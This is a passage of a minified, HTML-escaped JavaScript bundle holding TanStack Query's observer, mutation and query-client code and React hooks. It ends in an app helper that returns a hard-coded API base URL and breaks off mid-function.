Yu(this.options.enabled,this.#e)!=&quot;boolean&quot;)throw new Error(&quot;Expected enabled to be a boolean or a callback that returns a boolean&quot;);this.#w(),this.#e.setOptions(this.options),t._defaulted&amp;&amp;!sv(this.options,t)&amp;&amp;this.#t.getQueryCache().notify({type:&quot;observerOptionsUpdated&quot;,query:this.#e,observer:this});const n=this.hasListeners();n&amp;&amp;vD(this.#e,r,this.options,t)&amp;&amp;this.#m(),this.updateResult(),n&amp;&amp;(this.#e!==r||Yu(this.options.enabled,this.#e)!==Yu(t.enabled,this.#e)||Am(this.options.staleTime,this.#e)!==Am(t.staleTime,this.#e))&amp;&amp;this.#g();const i=this.#A();n&amp;&amp;(this.#e!==r||Yu(this.options.enabled,this.#e)!==Yu(t.enabled,this.#e)||i!==this.#l)&amp;&amp;this.#x(i)}getOptimisticResult(e){const t=this.#t.getQueryCache().build(this.#t,e),r=this.createResult(t,e);return mie(this,r)&amp;&amp;(this.#i=r,this.#a=this.options,this.#n=this.#e.state),r}getCurrentResult(){return this.#i}trackResult(e,t){return new Proxy(e,{get:(r,n)=&gt;(this.trackProp(n),t?.(n),n===&quot;promise&quot;&amp;&amp;(this.trackProp(&quot;data&quot;),!this.options.experimental_prefetchInRender&amp;&amp;this.#o.status===&quot;pending&quot;&amp;&amp;this.#o.reject(new Error(&quot;experimental_prefetchInRender feature flag is not enabled&quot;))),Reflect.get(r,n))})}trackProp(e){this.#p.add(e)}getCurrentQuery(){return this.#e}refetch({...e}={}){return this.fetch({...e})}fetchOptimistic(e){const t=this.#t.defaultQueryOptions(e),r=this.#t.getQueryCache().build(this.#t,t);return r.fetch().then(()=&gt;this.createResult(r,t))}fetch(e){return this.#m({...e,cancelRefetch:e.cancelRefetch??!0}).then(()=&gt;(this.updateResult(),this.#i))}#m(e){this.#w();let t=this.#e.fetch(this.options,e);return e?.throwOnError||(t=t.catch(Cl)),t}#g(){this.#y();const e=Am(this.options.staleTime,this.#e);if(fg||this.#i.isStale||!O3(e))return;const r=hO(this.#i.dataUpdatedAt,e)+1;this.#c=qp.setTimeout(()=&gt;{this.#i.isStale||this.updateResult()},r)}#A(){return(typeof this.options.refetchInterval==&quot;function&quot;?this.options.refetchInterval(this.#e):this.options.refetchInterval)??!1}#x(e){this.#b(),this.#l=e,!(fg||Yu(this.options.enabled,this.#e)===!1||!O3(this.#l)||this.#l===0)&amp;&amp;(this.#u=qp.setInterval(()=&gt;{(this.options.refetchIntervalInBackground||N6.isFocused())&amp;&amp;this.#m()},this.#l))}#v(){this.#g(),this.#x(this.#A())}#y(){this.#c&amp;&amp;(qp.clearTimeout(this.#c),this.#c=void 0)}#b(){this.#u&amp;&amp;(qp.clearInterval(this.#u),this.#u=void 0)}createResult(e,t){const r=this.#e,n=this.options,i=this.#i,s=this.#n,o=this.#a,c=e!==r?e.state:this.#r,{state:d}=e;let u={...d},h=!1,p;if(t._optimisticResults){const T=this.hasListeners(),M=!T&amp;&amp;xD(e,t),O=T&amp;&amp;vD(e,r,t,n);(M||O)&amp;&amp;(u={...u,...vO(d.data,e.options)}),t._optimisticResults===&quot;isRestoring&quot;&amp;&amp;(u.fetchStatus=&quot;idle&quot;)}let{error:A,errorUpdatedAt:y,status:v}=u;p=u.data;let w=!1;if(t.placeholderData!==void 0&amp;&amp;p===void 0&amp;&amp;v===&quot;pending&quot;){let T;i?.isPlaceholderData&amp;&amp;t.placeholderData===o?.placeholderData?(T=i.data,w=!0):T=typeof t.placeholderData==&quot;function&quot;?t.placeholderData(this.#f?.state.data,this.#f):t.placeholderData,T!==void 0&amp;&amp;(v=&quot;success&quot;,p=M3(i?.data,T,t),h=!0)}if(t.select&amp;&amp;p!==void 0&amp;&amp;!w)if(i&amp;&amp;p===s?.data&amp;&amp;t.select===this.#h)p=this.#d;else try{this.#h=t.select,p=t.select(p),p=M3(i?.data,p,t),this.#d=p,this.#s=null}catch(T){this.#s=T}this.#s&amp;&amp;(A=this.#s,p=this.#d,y=Date.now(),v=&quot;error&quot;);const j=u.fetchStatus===&quot;fetching&quot;,E=v===&quot;pending&quot;,S=v===&quot;error&quot;,_=E&amp;&amp;j,C=p!==void 0,R={status:v,fetchStatus:u.fetchStatus,isPending:E,isSuccess:v===&quot;success&quot;,isError:S,isInitialLoading:_,isLoading:_,data:p,dataUpdatedAt:u.dataUpdatedAt,error:A,errorUpdatedAt:y,failureCount:u.fetchFailureCount,failureReason:u.fetchFailureReason,errorUpdateCount:u.errorUpdateCount,isFetched:u.dataUpdateCount&gt;0||u.errorUpdateCount&gt;0,isFetchedAfterMount:u.dataUpdateCount&gt;c.dataUpdateCount||u.errorUpdateCount&gt;c.errorUpdateCount,isFetching:j,isRefetching:j&amp;&amp;!E,isLoadingError:S&amp;&amp;!C,isPaused:u.fetchStatus===&quot;paused&quot;,isPlaceholderData:h,isRefetchError:S&amp;&amp;C,isStale:B6(e,t),refetch:this.refetch,promise:this.#o,isEnabled:Yu(t.enabled,e)!==!1};if(this.options.experimental_prefetchInRender){const T=$=&gt;{R.status===&quot;error&quot;?$.reject(R.error):R.data!==void 0&amp;&amp;$.resolve(R.data)},M=()=&gt;{const $=this.#o=R.promise=U3();T($)},O=this.#o;switch(O.status){case&quot;pending&quot;:e.queryHash===r.queryHash&amp;&amp;T(O);break;case&quot;fulfilled&quot;:(R.status===&quot;error&quot;||R.data!==O.value)&amp;&amp;M();break;case&quot;rejected&quot;:(R.status!==&quot;error&quot;||R.error!==O.reason)&amp;&amp;M();break}}return R}updateResult(){const e=this.#i,t=this.createResult(this.#e,this.options);if(this.#n=this.#e.state,this.#a=this.options,this.#n.data!==void 0&amp;&amp;(this.#f=this.#e),sv(t,e))return;this.#i=t;const r=()=&gt;{if(!e)return!0;const{notifyOnChangeProps:n}=this.options,i=typeof n==&quot;function&quot;?n():n;if(i===&quot;all&quot;||!i&amp;&amp;!this.#p.size)return!0;const s=new Set(i??this.#p);return this.options.throwOnError&amp;&amp;s.add(&quot;error&quot;),Object.keys(this.#i).some(o=&gt;{const l=o;return this.#i[l]!==e[l]&amp;&amp;s.has(l)})};this.#E({listeners:r()})}#w(){const e=this.#t.getQueryCache().build(this.#t,this.options);if(e===this.#e)return;const t=this.#e;this.#e=e,this.#r=e.state,this.hasListeners()&amp;&amp;(t?.removeObserver(this),e.addObserver(this))}onQueryUpdate(){this.updateResult(),this.hasListeners()&amp;&amp;this.#v()}#E(e){ds.batch(()=&gt;{e.listeners&amp;&amp;this.listeners.forEach(t=&gt;{t(this.#i)}),this.#t.getQueryCache().notify({query:this.#e,type:&quot;observerResultsUpdated&quot;})})}};function hie(e,t){return Yu(t.enabled,e)!==!1&amp;&amp;e.state.data===void 0&amp;&amp;!(e.state.status===&quot;error&quot;&amp;&amp;t.retryOnMount===!1)}function xD(e,t){return hie(e,t)||e.state.data!==void 0&amp;&amp;$3(e,t,t.refetchOnMount)}function $3(e,t,r){if(Yu(t.enabled,e)!==!1&amp;&amp;Am(t.staleTime,e)!==&quot;static&quot;){const n=typeof r==&quot;function&quot;?r(e):r;return n===&quot;always&quot;||n!==!1&amp;&amp;B6(e,t)}return!1}function vD(e,t,r,n){return(e!==t||Yu(n.enabled,e)===!1)&amp;&amp;(!r.suspense||e.state.status!==&quot;error&quot;)&amp;&amp;B6(e,r)}function B6(e,t){return Yu(t.enabled,e)!==!1&amp;&amp;e.isStaleByTime(Am(t.staleTime,e))}function mie(e,t){return!sv(e.getCurrentResult(),t)}function yD(e){return{onFetch:(t,r)=&gt;{const n=t.options,i=t.fetchOptions?.meta?.fetchMore?.direction,s=t.state.data?.pages||[],o=t.state.data?.pageParams||[];let l={pages:[],pageParams:[]},c=0;const d=async()=&gt;{let u=!1;const h=y=&gt;{sie(y,()=&gt;t.signal,()=&gt;u=!0)},p=mO(t.options,t.fetchOptions),A=async(y,v,w)=&gt;{if(u)return Promise.reject();if(v==null&amp;&amp;y.pages.length)return Promise.resolve(y);const E=(()=&gt;{const Q={client:t.client,queryKey:t.queryKey,pageParam:v,direction:w?&quot;backward&quot;:&quot;forward&quot;,meta:t.options.meta};return h(Q),Q})(),S=await p(E),{maxPages:_}=t.options,C=w?aie:iie;return{pages:C(y.pages,S,_),pageParams:C(y.pageParams,v,_)}};if(i&amp;&amp;s.length){const y=i===&quot;backward&quot;,v=y?pie:bD,w={pages:s,pageParams:o},j=v(n,w);l=await A(w,j,y)}else{const y=e??s.length;do{const v=c===0?o[0]??n.initialPageParam:bD(n,l);if(c&gt;0&amp;&amp;v==null)break;l=await A(l,v),c++}while(c&lt;y)}return l};t.options.persister?t.fetchFn=()=&gt;t.options.persister?.(d,{client:t.client,queryKey:t.queryKey,meta:t.options.meta,signal:t.signal},r):t.fetchFn=d}}}function bD(e,{pages:t,pageParams:r}){const n=t.length-1;return t.length&gt;0?e.getNextPageParam(t[n],t,r[n],r):void 0}function pie(e,{pages:t,pageParams:r}){return t.length&gt;0?e.getPreviousPageParam?.(t[0],t,r[0],r):void 0}var gie=class extends xO{#t;#e;#r;#i;constructor(e){super(),this.#t=e.client,this.mutationId=e.mutationId,this.#r=e.mutationCache,this.#e=[],this.state=e.state||yO(),this.setOptions(e.options),this.scheduleGc()}setOptions(e){this.options=e,this.updateGcTime(this.options.gcTime)}get meta(){return this.options.meta}addObserver(e){this.#e.includes(e)||(this.#e.push(e),this.clearGcTimeout(),this.#r.notify({type:&quot;observerAdded&quot;,mutation:this,observer:e}))}removeObserver(e){this.#e=this.#e.filter(t=&gt;t!==e),this.scheduleGc(),this.#r.notify({type:&quot;observerRemoved&quot;,mutation:this,observer:e})}optionalRemove(){this.#e.length||(this.state.status===&quot;pending&quot;?this.scheduleGc():this.#r.remove(this))}continue(){return this.#i?.continue()??this.execute(this.state.variables)}async execute(e){const t=()=&gt;{this.#n({type:&quot;continue&quot;})},r={client:this.#t,meta:this.options.meta,mutationKey:this.options.mutationKey};this.#i=AO({fn:()=&gt;this.options.mutationFn?this.options.mutationFn(e,r):Promise.reject(new Error(&quot;No mutationFn found&quot;)),onFail:(s,o)=&gt;{this.#n({type:&quot;failed&quot;,failureCount:s,error:o})},onPause:()=&gt;{this.#n({type:&quot;pause&quot;})},onContinue:t,retry:this.options.retry??0,retryDelay:this.options.retryDelay,networkMode:this.options.networkMode,canRun:()=&gt;this.#r.canRun(this)});const n=this.state.status===&quot;pending&quot;,i=!this.#i.canStart();try{if(n)t();else{this.#n({type:&quot;pending&quot;,variables:e,isPaused:i}),await this.#r.config.onMutate?.(e,this,r);const o=await this.options.onMutate?.(e,r);o!==this.state.context&amp;&amp;this.#n({type:&quot;pending&quot;,context:o,variables:e,isPaused:i})}const s=await this.#i.start();return await this.#r.config.onSuccess?.(s,e,this.state.context,this,r),await this.options.onSuccess?.(s,e,this.state.context,r),await this.#r.config.onSettled?.(s,null,this.state.variables,this.state.context,this,r),await this.options.onSettled?.(s,null,e,this.state.context,r),this.#n({type:&quot;success&quot;,data:s}),s}catch(s){try{throw await this.#r.config.onError?.(s,e,this.state.context,this,r),await this.options.onError?.(s,e,this.state.context,r),await this.#r.config.onSettled?.(void 0,s,this.state.variables,this.state.context,this,r),await this.options.onSettled?.(void 0,s,e,this.state.context,r),s}finally{this.#n({type:&quot;error&quot;,error:s})}}finally{this.#r.runNext(this)}}#n(e){const t=r=&gt;{switch(e.type){case&quot;failed&quot;:return{...r,failureCount:e.failureCount,failureReason:e.error};case&quot;pause&quot;:return{...r,isPaused:!0};case&quot;continue&quot;:return{...r,isPaused:!1};case&quot;pending&quot;:return{...r,context:e.context,data:void 0,failureCount:0,failureReason:null,error:null,isPaused:e.isPaused,status:&quot;pending&quot;,variables:e.variables,submittedAt:Date.now()};case&quot;success&quot;:return{...r,data:e.data,failureCount:0,failureReason:null,error:null,status:&quot;success&quot;,isPaused:!1};case&quot;error&quot;:return{...r,data:void 0,error:e.error,failureCount:r.failureCount+1,failureReason:e.error,isPaused:!1,status:&quot;error&quot;}}};this.state=t(this.state),ds.batch(()=&gt;{this.#e.forEach(r=&gt;{r.onMutationUpdate(e)}),this.#r.notify({mutation:this,type:&quot;updated&quot;,action:e})})}};function yO(){return{context:void 0,data:void 0,error:null,failureCount:0,failureReason:null,isPaused:!1,status:&quot;idle&quot;,variables:void 0,submittedAt:0}}var Aie=class extends _g{constructor(e={}){super(),this.config=e,this.#t=new Set,this.#e=new Map,this.#r=0}#t;#e;#r;build(e,t,r){const n=new gie({client:e,mutationCache:this,mutationId:++this.#r,options:e.defaultMutationOptions(t),state:r});return this.add(n),n}add(e){this.#t.add(e);const t=z2(e);if(typeof t==&quot;string&quot;){const r=this.#e.get(t);r?r.push(e):this.#e.set(t,[e])}this.notify({type:&quot;added&quot;,mutation:e})}remove(e){if(this.#t.delete(e)){const t=z2(e);if(typeof t==&quot;string&quot;){const r=this.#e.get(t);if(r)if(r.length&gt;1){const n=r.indexOf(e);n!==-1&amp;&amp;r.splice(n,1)}else r[0]===e&amp;&amp;this.#e.delete(t)}}this.notify({type:&quot;removed&quot;,mutation:e})}canRun(e){const t=z2(e);if(typeof t==&quot;string&quot;){const n=this.#e.get(t)?.find(i=&gt;i.state.status===&quot;pending&quot;);return!n||n===e}else return!0}runNext(e){const t=z2(e);return typeof t==&quot;string&quot;?this.#e.get(t)?.find(n=&gt;n!==e&amp;&amp;n.state.isPaused)?.continue()??Promise.resolve():Promise.resolve()}clear(){ds.batch(()=&gt;{this.#t.forEach(e=&gt;{this.notify({type:&quot;removed&quot;,mutation:e})}),this.#t.clear(),this.#e.clear()})}getAll(){return Array.from(this.#t)}find(e){const t={exact:!0,...e};return this.getAll().find(r=&gt;hD(t,r))}findAll(e={}){return this.getAll().filter(t=&gt;hD(e,t))}notify(e){ds.batch(()=&gt;{this.listeners.forEach(t=&gt;{t(e)})})}resumePausedMutations(){const e=this.getAll().filter(t=&gt;t.state.isPaused);return ds.batch(()=&gt;Promise.all(e.map(t=&gt;t.continue().catch(Cl))))}};function z2(e){return e.options.scope?.id}var xie=class extends _g{#t;#e=void 0;#r;#i;constructor(t,r){super(),this.#t=t,this.setOptions(r),this.bindMethods(),this.#n()}bindMethods(){this.mutate=this.mutate.bind(this),this.reset=this.reset.bind(this)}setOptions(t){const r=this.options;this.options=this.#t.defaultMutationOptions(t),sv(this.options,r)||this.#t.getMutationCache().notify({type:&quot;observerOptionsUpdated&quot;,mutation:this.#r,observer:this}),r?.mutationKey&amp;&amp;this.options.mutationKey&amp;&amp;hg(r.mutationKey)!==hg(this.options.mutationKey)?this.reset():this.#r?.state.status===&quot;pending&quot;&amp;&amp;this.#r.setOptions(this.options)}onUnsubscribe(){this.hasListeners()||this.#r?.removeObserver(this)}onMutationUpdate(t){this.#n(),this.#a(t)}getCurrentResult(){return this.#e}reset(){this.#r?.removeObserver(this),this.#r=void 0,this.#n(),this.#a()}mutate(t,r){return this.#i=r,this.#r?.removeObserver(this),this.#r=this.#t.getMutationCache().build(this.#t,this.options),this.#r.addObserver(this),this.#r.execute(t)}#n(){const t=this.#r?.state??yO();this.#e={...t,isPending:t.status===&quot;pending&quot;,isSuccess:t.status===&quot;success&quot;,isError:t.status===&quot;error&quot;,isIdle:t.status===&quot;idle&quot;,mutate:this.mutate,reset:this.reset}}#a(t){ds.batch(()=&gt;{if(this.#i&amp;&amp;this.hasListeners()){const r=this.#e.variables,n=this.#e.context,i={client:this.#t,meta:this.options.meta,mutationKey:this.options.mutationKey};t?.type===&quot;success&quot;?(this.#i.onSuccess?.(t.data,r,n,i),this.#i.onSettled?.(t.data,null,r,n,i)):t?.type===&quot;error&quot;&amp;&amp;(this.#i.onError?.(t.error,r,n,i),this.#i.onSettled?.(void 0,t.error,r,n,i))}this.listeners.forEach(r=&gt;{r(this.#e)})})}};function wD(e,t){const r=new Set(t);return e.filter(n=&gt;!r.has(n))}function vie(e,t,r){const n=e.slice(0);return n[t]=r,n}var yie=class extends _g{#t;#e;#r;#i;#n;#a;#o;#s;#h=[];constructor(e,t,r){super(),this.#t=e,this.#i=r,this.#r=[],this.#n=[],this.#e=[],this.setQueries(t)}onSubscribe(){this.listeners.size===1&amp;&amp;this.#n.forEach(e=&gt;{e.subscribe(t=&gt;{this.#u(e,t)})})}onUnsubscribe(){this.listeners.size||this.destroy()}destroy(){this.listeners=new Set,this.#n.forEach(e=&gt;{e.destroy()})}setQueries(e,t){this.#r=e,this.#i=t,ds.batch(()=&gt;{const r=this.#n,n=this.#c(this.#r);this.#h=n,n.forEach(u=&gt;u.observer.setOptions(u.defaultedQueryOptions));const i=n.map(u=&gt;u.observer),s=i.map(u=&gt;u.getCurrentResult()),o=r.length!==i.length,l=i.some((u,h)=&gt;u!==r[h]),c=o||l,d=c?!0:s.some((u,h)=&gt;{const p=this.#e[h];return!p||!sv(u,p)});!c&amp;&amp;!d||(c&amp;&amp;(this.#n=i),this.#e=s,this.hasListeners()&amp;&amp;(c&amp;&amp;(wD(r,i).forEach(u=&gt;{u.destroy()}),wD(i,r).forEach(u=&gt;{u.subscribe(h=&gt;{this.#u(u,h)})})),this.#l()))})}getCurrentResult(){return this.#e}getQueries(){return this.#n.map(e=&gt;e.getCurrentQuery())}getObservers(){return this.#n}getOptimisticResult(e,t){const r=this.#c(e),n=r.map(i=&gt;i.observer.getOptimisticResult(i.defaultedQueryOptions));return[n,i=&gt;this.#f(i??n,t),()=&gt;this.#d(n,r)]}#d(e,t){return t.map((r,n)=&gt;{const i=e[n];return r.defaultedQueryOptions.notifyOnChangeProps?i:r.observer.trackResult(i,s=&gt;{t.forEach(o=&gt;{o.observer.trackProp(s)})})})}#f(e,t){return t?((!this.#a||this.#e!==this.#s||t!==this.#o)&amp;&amp;(this.#o=t,this.#s=this.#e,this.#a=I6(this.#a,t(e))),this.#a):e}#c(e){const t=new Map;this.#n.forEach(n=&gt;{const i=n.options.queryHash;if(!i)return;const s=t.get(i);s?s.push(n):t.set(i,[n])});const r=[];return e.forEach(n=&gt;{const i=this.#t.defaultQueryOptions(n),o=t.get(i.queryHash)?.shift()??new S6(this.#t,i);r.push({defaultedQueryOptions:i,observer:o})}),r}#u(e,t){const r=this.#n.indexOf(e);r!==-1&amp;&amp;(this.#e=vie(this.#e,r,t),this.#l())}#l(){if(this.hasListeners()){const e=this.#a,t=this.#d(this.#e,this.#h),r=this.#f(t,this.#i?.combine);e!==r&amp;&amp;ds.batch(()=&gt;{this.listeners.forEach(n=&gt;{n(this.#e)})})}}},bie=class extends _g{constructor(e={}){super(),this.config=e,this.#t=new Map}#t;build(e,t,r){const n=t.queryKey,i=t.queryHash??C6(n,t);let s=this.get(i);return s||(s=new fie({client:e,queryKey:n,queryHash:i,options:e.defaultQueryOptions(t),state:r,defaultOptions:e.getQueryDefaults(n)}),this.add(s)),s}add(e){this.#t.has(e.queryHash)||(this.#t.set(e.queryHash,e),this.notify({type:&quot;added&quot;,query:e}))}remove(e){const t=this.#t.get(e.queryHash);t&amp;&amp;(e.destroy(),t===e&amp;&amp;this.#t.delete(e.queryHash),this.notify({type:&quot;removed&quot;,query:e}))}clear(){ds.batch(()=&gt;{this.getAll().forEach(e=&gt;{this.remove(e)})})}get(e){return this.#t.get(e)}getAll(){return[...this.#t.values()]}find(e){const t={exact:!0,...e};return this.getAll().find(r=&gt;fD(t,r))}findAll(e={}){const t=this.getAll();return Object.keys(e).length&gt;0?t.filter(r=&gt;fD(e,r)):t}notify(e){ds.batch(()=&gt;{this.listeners.forEach(t=&gt;{t(e)})})}onFocus(){ds.batch(()=&gt;{this.getAll().forEach(e=&gt;{e.onFocus()})})}onOnline(){ds.batch(()=&gt;{this.getAll().forEach(e=&gt;{e.onOnline()})})}},wie=class{#t;#e;#r;#i;#n;#a;#o;#s;constructor(e={}){this.#t=e.queryCache||new bie,this.#e=e.mutationCache||new Aie,this.#r=e.defaultOptions||{},this.#i=new Map,this.#n=new Map,this.#a=0}mount(){this.#a++,this.#a===1&amp;&amp;(this.#o=N6.subscribe(async e=&gt;{e&amp;&amp;(await this.resumePausedMutations(),this.#t.onFocus())}),this.#s=J5.subscribe(async e=&gt;{e&amp;&amp;(await this.resumePausedMutations(),this.#t.onOnline())}))}unmount(){this.#a--,this.#a===0&amp;&amp;(this.#o?.(),this.#o=void 0,this.#s?.(),this.#s=void 0)}isFetching(e){return this.#t.findAll({...e,fetchStatus:&quot;fetching&quot;}).length}isMutating(e){return this.#e.findAll({...e,status:&quot;pending&quot;}).length}getQueryData(e){const t=this.defaultQueryOptions({queryKey:e});return this.#t.get(t.queryHash)?.state.data}ensureQueryData(e){const t=this.defaultQueryOptions(e),r=this.#t.build(this,t),n=r.state.data;return n===void 0?this.fetchQuery(e):(e.revalidateIfStale&amp;&amp;r.isStaleByTime(Am(t.staleTime,r))&amp;&amp;this.prefetchQuery(t),Promise.resolve(n))}getQueriesData(e){return this.#t.findAll(e).map(({queryKey:t,state:r})=&gt;{const n=r.data;return[t,n]})}setQueryData(e,t,r){const n=this.defaultQueryOptions({queryKey:e}),s=this.#t.get(n.queryHash)?.state.data,o=tie(t,s);if(o!==void 0)return this.#t.build(this,n).setData(o,{...r,manual:!0})}setQueriesData(e,t,r){return ds.batch(()=&gt;this.#t.findAll(e).map(({queryKey:n})=&gt;[n,this.setQueryData(n,t,r)]))}getQueryState(e){const t=this.defaultQueryOptions({queryKey:e});return this.#t.get(t.queryHash)?.state}removeQueries(e){const t=this.#t;ds.batch(()=&gt;{t.findAll(e).forEach(r=&gt;{t.remove(r)})})}resetQueries(e,t){const r=this.#t;return ds.batch(()=&gt;(r.findAll(e).forEach(n=&gt;{n.reset()}),this.refetchQueries({type:&quot;active&quot;,...e},t)))}cancelQueries(e,t={}){const r={revert:!0,...t},n=ds.batch(()=&gt;this.#t.findAll(e).map(i=&gt;i.cancel(r)));return Promise.all(n).then(Cl).catch(Cl)}invalidateQueries(e,t={}){return ds.batch(()=&gt;(this.#t.findAll(e).forEach(r=&gt;{r.invalidate()}),e?.refetchType===&quot;none&quot;?Promise.resolve():this.refetchQueries({...e,type:e?.refetchType??e?.type??&quot;active&quot;},t)))}refetchQueries(e,t={}){const r={...t,cancelRefetch:t.cancelRefetch??!0},n=ds.batch(()=&gt;this.#t.findAll(e).filter(i=&gt;!i.isDisabled()&amp;&amp;!i.isStatic()).map(i=&gt;{let s=i.fetch(void 0,r);return r.throwOnError||(s=s.catch(Cl)),i.state.fetchStatus===&quot;paused&quot;?Promise.resolve():s}));return Promise.all(n).then(Cl)}fetchQuery(e){const t=this.defaultQueryOptions(e);t.retry===void 0&amp;&amp;(t.retry=!1);const r=this.#t.build(this,t);return r.isStaleByTime(Am(t.staleTime,r))?r.fetch(t):Promise.resolve(r.state.data)}prefetchQuery(e){return this.fetchQuery(e).then(Cl).catch(Cl)}fetchInfiniteQuery(e){return e.behavior=yD(e.pages),this.fetchQuery(e)}prefetchInfiniteQuery(e){return this.fetchInfiniteQuery(e).then(Cl).catch(Cl)}ensureInfiniteQueryData(e){return e.behavior=yD(e.pages),this.ensureQueryData(e)}resumePausedMutations(){return J5.isOnline()?this.#e.resumePausedMutations():Promise.resolve()}getQueryCache(){return this.#t}getMutationCache(){return this.#e}getDefaultOptions(){return this.#r}setDefaultOptions(e){this.#r=e}setQueryDefaults(e,t){this.#i.set(hg(e),{queryKey:e,defaultOptions:t})}getQueryDefaults(e){const t=[...this.#i.values()],r={};return t.forEach(n=&gt;{av(e,n.queryKey)&amp;&amp;Object.assign(r,n.defaultOptions)}),r}setMutationDefaults(e,t){this.#n.set(hg(e),{mutationKey:e,defaultOptions:t})}getMutationDefaults(e){const t=[...this.#n.values()],r={};return t.forEach(n=&gt;{av(e,n.mutationKey)&amp;&amp;Object.assign(r,n.defaultOptions)}),r}defaultQueryOptions(e){if(e._defaulted)return e;const t={...this.#r.queries,...this.getQueryDefaults(e.queryKey),...e,_defaulted:!0};return t.queryHash||(t.queryHash=C6(t.queryKey,t)),t.refetchOnReconnect===void 0&amp;&amp;(t.refetchOnReconnect=t.networkMode!==&quot;always&quot;),t.throwOnError===void 0&amp;&amp;(t.throwOnError=!!t.suspense),!t.networkMode&amp;&amp;t.persister&amp;&amp;(t.networkMode=&quot;offlineFirst&quot;),t.queryFn===j6&amp;&amp;(t.enabled=!1),t}defaultMutationOptions(e){return e?._defaulted?e:{...this.#r.mutations,...e?.mutationKey&amp;&amp;this.getMutationDefaults(e.mutationKey),...e,_defaulted:!0}}clear(){this.#t.clear(),this.#e.clear()}},I=o4();const Za=ma(I),l4=dO({__proto__:null,default:Za},[I]);var bO=I.createContext(void 0),eo=e=&gt;{const t=I.useContext(bO);if(!t)throw new Error(&quot;No QueryClient set, use QueryClientProvider to set one&quot;);return t},Eie=({client:e,children:t})=&gt;(I.useEffect(()=&gt;(e.mount(),()=&gt;{e.unmount()}),[e]),a.jsx(bO.Provider,{value:e,children:t})),wO=I.createContext(!1),EO=()=&gt;I.useContext(wO);wO.Provider;function Cie(){let e=!1;return{clearReset:()=&gt;{e=!1},reset:()=&gt;{e=!0},isReset:()=&gt;e}}var Iie=I.createContext(Cie()),CO=()=&gt;I.useContext(Iie),IO=(e,t)=&gt;{(e.suspense||e.throwOnError||e.experimental_prefetchInRender)&amp;&amp;(t.isReset()||(e.retryOnMount=!1))},jO=e=&gt;{I.useEffect(()=&gt;{e.clearReset()},[e])},NO=({result:e,errorResetBoundary:t,throwOnError:r,query:n,suspense:i})=&gt;e.isError&amp;&amp;!t.isReset()&amp;&amp;!e.isFetching&amp;&amp;n&amp;&amp;(i&amp;&amp;e.data===void 0||pO(r,[e.error,n])),SO=e=&gt;{if(e.suspense){const r=i=&gt;i===&quot;static&quot;?i:Math.max(i??1e3,1e3),n=e.staleTime;e.staleTime=typeof n==&quot;function&quot;?(...i)=&gt;r(n(...i)):r(n),typeof e.gcTime==&quot;number&quot;&amp;&amp;(e.gcTime=Math.max(e.gcTime,1e3))}},BO=(e,t)=&gt;e.isLoading&amp;&amp;e.isFetching&amp;&amp;!t,H3=(e,t)=&gt;e?.suspense&amp;&amp;t.isPending,X5=(e,t,r)=&gt;t.fetchOptimistic(e).catch(()=&gt;{r.clearReset()});function kO({queries:e,...t},r){const n=eo(),i=EO(),s=CO(),o=I.useMemo(()=&gt;e.map(v=&gt;{const w=n.defaultQueryOptions(v);return w._optimisticResults=i?&quot;isRestoring&quot;:&quot;optimistic&quot;,w}),[e,n,i]);o.forEach(v=&gt;{SO(v),IO(v,s)}),jO(s);const[l]=I.useState(()=&gt;new yie(n,o,t)),[c,d,u]=l.getOptimisticResult(o,t.combine),h=!i&amp;&amp;t.subscribed!==!1;I.useSyncExternalStore(I.useCallback(v=&gt;h?l.subscribe(ds.batchCalls(v)):Cl,[l,h]),()=&gt;l.getCurrentResult(),()=&gt;l.getCurrentResult()),I.useEffect(()=&gt;{l.setQueries(o,t)},[o,t,l]);const A=c.some((v,w)=&gt;H3(o[w],v))?c.flatMap((v,w)=&gt;{const j=o[w];if(j){const E=new S6(n,j);if(H3(j,v))return X5(j,E,s);BO(v,i)&amp;&amp;X5(j,E,s)}return[]}):[];if(A.length&gt;0)throw Promise.all(A);const y=c.find((v,w)=&gt;{const j=o[w];return j&amp;&amp;NO({result:v,errorResetBoundary:s,throwOnError:j.throwOnError,query:n.getQueryCache().get(j.queryHash),suspense:j.suspense})});if(y?.error)throw y.error;return d(u())}function jie(e,t,r){const n=EO(),i=CO(),s=eo(),o=s.defaultQueryOptions(e);s.getDefaultOptions().queries?._experimental_beforeQuery?.(o),o._optimisticResults=n?&quot;isRestoring&quot;:&quot;optimistic&quot;,SO(o),IO(o,i),jO(i);const l=!s.getQueryCache().get(o.queryHash),[c]=I.useState(()=&gt;new t(s,o)),d=c.getOptimisticResult(o),u=!n&amp;&amp;e.subscribed!==!1;if(I.useSyncExternalStore(I.useCallback(h=&gt;{const p=u?c.subscribe(ds.batchCalls(h)):Cl;return c.updateResult(),p},[c,u]),()=&gt;c.getCurrentResult(),()=&gt;c.getCurrentResult()),I.useEffect(()=&gt;{c.setOptions(o)},[o,c]),H3(o,d))throw X5(o,c,i);if(NO({result:d,errorResetBoundary:i,throwOnError:o.throwOnError,query:s.getQueryCache().get(o.queryHash),suspense:o.suspense}))throw d.error;return s.getDefaultOptions().queries?._experimental_afterQuery?.(o,d),o.experimental_prefetchInRender&amp;&amp;!fg&amp;&amp;BO(d,n)&amp;&amp;(l?X5(o,c,i):s.getQueryCache().get(o.queryHash)?.promise)?.catch(Cl).finally(()=&gt;{c.updateResult()}),o.notifyOnChangeProps?d:c.trackResult(d)}function cr(e,t){return jie(e,S6)}function Nie(e,t){const r=eo(),n=r.getQueryCache();return I.useSyncExternalStore(I.useCallback(i=&gt;n.subscribe(ds.batchCalls(i)),[n]),()=&gt;r.isFetching(e),()=&gt;r.isFetching(e))}function _r(e,t){const r=eo(),[n]=I.useState(()=&gt;new xie(r,e));I.useEffect(()=&gt;{n.setOptions(e)},[n,e]);const i=I.useSyncExternalStore(I.useCallback(o=&gt;n.subscribe(ds.batchCalls(o)),[n]),()=&gt;n.getCurrentResult(),()=&gt;n.getCurrentResult()),s=I.useCallback((o,l)=&gt;{n.mutate(o,l).catch(Cl)},[n]);if(i.error&amp;&amp;pO(n.options.throwOnError,[i.error]))throw i.error;return{...i,mutate:s,mutateAsync:i.mutate}}function Sie(){const e=&quot;https://apiparcapp.jrbxsolutions.com&quot;;if(e.trim()===&quot;&quot;){const t=&quot;VITE_API_BASE_URL ou VITE_API_URL manquant : API non configurée. Veuillez définir cette variable d&#039;environnement.&quot;;throw console.error(&quot;❌ ERREUR CRITIQUE:&quot;,t),new Error(t)}return e}function $s(e){if(e.startsWith(&quot;http://&quot;)||e.startsWith(&quot;https://&quot;))return e;const 